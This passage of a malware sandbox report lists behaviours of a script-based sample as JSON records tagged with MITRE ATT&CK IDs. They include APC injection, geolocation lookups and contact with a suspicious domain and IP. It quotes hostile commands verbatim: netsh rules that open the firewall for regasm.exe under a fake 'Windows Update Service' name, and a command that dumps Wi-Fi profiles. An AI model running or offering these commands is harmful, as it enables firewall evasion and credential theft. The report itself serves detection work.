Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"netsh.exe\" called \"NtQueueApcThread\" (UID: 00000000-00004156)\n \"netsh.exe\" called \"NtQueueApcThread\" (UID: 00000000-00003624)\n \"netsh.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007396)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\greenriyadhuraija-pr.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\wshom.ocx\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to identify external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\wscript.exe\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"WScript.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"WScript.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$46","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Able to download remote files using web shell script","description":"Found string \"HttpWebRequest\" (Indicator: \"HttpWebRequest\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-798","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00004040-00000C2C-1350677189\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /line/?fields=countryCode\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004040-00000C2C-1350676638\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004040-00000C2C-1350759574\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00004040-00000C2C-1350759603\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00004040-00000C2C-1351210960\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00004040-00000C2C-1351212234\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"CheckInternetConnectivity\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"CheckInternetConnectivity\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00004040-00000C2C-1350676638\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp\")\n Found reference to API \"WSACleanup\" (Indicator: \"wsacleanup\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Detects NETSH process execution","description":"Process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service\" dir=out action=allow program=\"%WINDIR%\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\regasm.exe\" enable=yes\" (UID: 00000000-00004156)\n Process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service Host\" dir=in action=allow program=\"%WINDIR%\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\regasm.exe\" enable=yes\" (UID: 00000000-00003624)\n Process \"netsh.exe\" with commandline \"netsh wlan show profiles\" (UID: 00000000-00007396)","origin":"Monitored Target","mitre_attack_id":"T1562.004","relevance":2,"id":"target-186","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0, Culture=neu\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n Potential IP \"4.0.0.0\" found in string \"ersion=4.0.0.0,0\"\n Potential IP \"4.0.0.0\" found in string \"ersion=4.0.0.0, Culture=neut\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.15\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.14\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.4.11\"\n \"2.5.4.8\"\n \"2.5.4.6\"\n \"2.5.4.5\"\n \"2.5.4.10\"\n \"2.5.4.7\"\n \"2.5.29.1\"\n \"2.5.29.17\"\n Potential IP \"4.0.0.0\" found in string \"ystem.Transactions,4.0.0.0,,b77a5c561934e089\"\n \"2.5.29.16\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0, Culture\"\n Potential IP \"4.0.0.0\" found in string \"ersion=4.0.0.0,\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$47","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"pwndrop.setupwizarddesk.top\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"pwndrop.setupwizarddesk.top\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"137.184.88.100\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00004040\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEAC7865E418DF7DC55C52FD7D6B24]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp\")\n Found string \"ncalrpc\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.B5000000.00000004.mdmp, 00000000-00004040.00000001.153030.B51A9000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"netsh.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004040)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"sha1fornonsecretpurposes\" (Indicator: \"secret\"; Source: \"00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp\")\n Found string \"passwordpropertytextattribute\" (Indicator: \"password\"; Source: \"00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp\")\n Found string \"passwordderivebytes\" (Indicator: \"password\"; Source: \"00000000-00004040.00000001.153030.B20D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"/c chcp 65001 >nul && netsh wlan show profiles > \"%TEMP%\\wifi_profiles.tmp\"\" (Indicator: \"chcp\"; File: \"cmd.exe\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004040.00000000.152403.B20F0000.00000004.mdmp, 00000000-00004040.00000001.153030.B20F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00003624.00000000.153662.4A9C0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\System32\\netsh.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003624.00000000.153662.4A9C0000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004040.00000000.152403.9A210000.00000004.mdmp, 00000000-00004040.00000001.153030.9A210000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004040.00000000.152403.9C100000.00000004.mdmp, 00000000-00004040.00000001.153030.9C100000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: 